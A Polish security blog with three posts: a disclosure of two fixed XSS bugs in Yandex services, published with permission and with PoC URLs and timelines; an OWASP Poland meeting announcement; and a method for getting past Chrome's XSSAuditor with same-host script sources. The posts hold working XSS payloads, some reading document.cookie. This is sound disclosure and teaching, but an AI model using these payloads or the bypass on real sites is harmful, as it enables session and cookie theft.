piątek, 11 stycznia 2013

Yandex Bug Bounty - 2x Cross-Site Scripting

Jako, że od poprawienia błędów przez Yandex minął wystarczający czas - publikuje za zgodą firmy.

REFLECTED XSS - Yandex Images

PoC (url decoded):

http://images.yandex.com/yandsearch?text="><script>alert('Kboom ' + document.cookie);</script>&site=yandex.ru

Screenshot:


Timeline:
2012/10/20 - report
2012/10/26 - fix
2013/01/11 - publish disclosure

STORED XSS - Yandex Metrica


PoC:
Przez odwiedzenie strony zawierającej kod analizujący w taki sposób:

http://hostname/test.php?id="><img src="a" onerror="alert(document.cookie);">

Efekt:




Timeline:
2012/11/08 - report
2012/11/14 - fix
2013/01/11 - publish disclosure

BUG BOUNTY


Yandex jest jedną z kilku firm posiadających swój program Bug Bounty. Pod lupę bierzemy zarówno webaplikacje w wymienionych domenach jak i te przeznaczone dla urządzeń mobilnych. Zainteresowanych zapraszam do zapoznania się z programem - i życzę powodzenia! :)

wtorek, 8 stycznia 2013

Spotkanie OWASP Poland w Poznaniu

W dniu dzisiejszym na liście mailingowej OWASP Poland pojawiła się informacja o pierwszym bezpłatnym i otwartym spotkaniu grupy, które odbędzie się 31.01.2013r. o 15:00 w Centrum Konferencyjnym IOR (ul. Władysława Węgorka 20, Poznań). Wszystkich zainteresowanych tematyką bezpieczeństwa webaplikacji zapraszam do zapoznania się ze szczegółami oraz zapisania się tutaj. :-) Share it with friends! Do zobaczenia!



View Larger Map

piątek, 4 stycznia 2013

Chrome i XSSAuditor

Słowem wstępu


Jakiś czas temu zastanawiałem się, jak ominąć zabezpieczenie przed reflected xss'ami w przeglądarce, z której korzystam na codzień - czyli Google Chrome (22.0.1229.79, Linux) Po czasie znalazłem pewien sposób - więc zgłosiłem błąd. Jak się okazuje, takie,a nie inne działanie było zamierzone. Moje zgłoszenie zostało zamknięte - zresztą słusznie, ponieważ w kodzie XSSAuditora znaleźć można taki fragment (a ja do kodu - przyznam się bez bicia - nawet nie zajrzałem): 


bool XSSAuditor::isLikelySafeResource(const String& url)
{
    ...
    // If the resource is loaded from the same host as the enclosing page, it's
    // probably not an XSS attack, so we reduce false positives by allowing the
    // request, ignoring scheme and port considerations. If the resource has a
    // query string, we're more suspicious, however, because that's pretty rare
    // and the attacker might be able to trick a server-side script into doing
    // something dangerous with the query string.  
    ...
}


Zatem - biorąc pod uwagę powyższe, sposób o którym w szczegółach napiszę niżej, faktycznie przeglądarka uzna za bezpieczny.


O co chodzi?


Zabezpieczenie przed atakami typu XSS w Google Chrome polega na tym, że jeżeli nasz request (GET / POST) zawiera kod javascript, który przeglądarka ma potem wykonać (czyli zwrócony content zawiera tenże kod)... to go nie wykona ;) Weźmy pod lupę taki skrypt PHP:

<?php
echo "Bla, bla, bla<br>";
echo $_GET['a'];
?>
Czarno na białym widać co tu się święci ;-) Dla jasności, nasz skrypt znajduje się - przykładowo - pod adresem http://myhostname/~zoczus/inc.php. Umieszczając w parametrze GET takie wartości, przeglądarka je zablokuje:


  • <script>alert('EVIL');</script>
  • <script src="http://some.otherhost/alert.js"></script>
  • <img src="a" onerror="alert(document.cookie)">
  • <object width='400' height='400' data='data:text/html;base64,PHNjcmlwdD5hbGVydCgnS2Jvb20nKTs8L3NjcmlwdD4K'></object>

ALE, gdy zrobimy tak:
  • <script src="http//myhostname/TEST.JS">alert("I won't be executed");</script>
  • <script src="ftp://myhostname/alert.txt">alert("neither me");</script>
...to skrypt TEST.JS / alert.txt wykona się, a to co w tag'ach script - nie. To tyle. Nasuwa się szalenie prosty wniosek z tych całych rozmyśleń - miejsc, w których możemy taki atak wykorzystać jest niewiele. Zatem jeżeli na stronie mamy możliwość upload'u pliku i dostępu do jego zawartości lub force-download z serwera - możemy to wykorzystać. Z tego co sprawdziłem, przekazanie parametru GET w formie http://myhostname/test.php?param=value blokuje wykonanie, ale gdy programista korzysta z  mod_rewrite i odnośnik będzie miał na przykład taką formę: http://myhostname/test/param/value - skrypt się wykona. Jeżeli w nagłówku odpowiedzi dostajemy header Location, który możemy kontrolować -  to nawet jeżeli nasz skrypt jest na zupełnie innym zasobie - wykona się. Jeżeli na tym samym hoście znajduje się anonimowy serwer ftp z możliwością zapisu - możemy to wykorzystać. Protokół oraz port nie mają znaczenia - znaczenie ma wyłącznie host (subdomeny odpadają). Myślę, że wszystko jest jasne - jeśli macie inne ciekawe wariacje na ominięcie XSSAuditora, na przykład z wykorzystaniem innych protokołów - śmiało udzielajcie się w komentarzach. :) 

Co robić?

Filtrować - to programiści. Użytkownicy - zwracać uwagę na to w co klikają. :)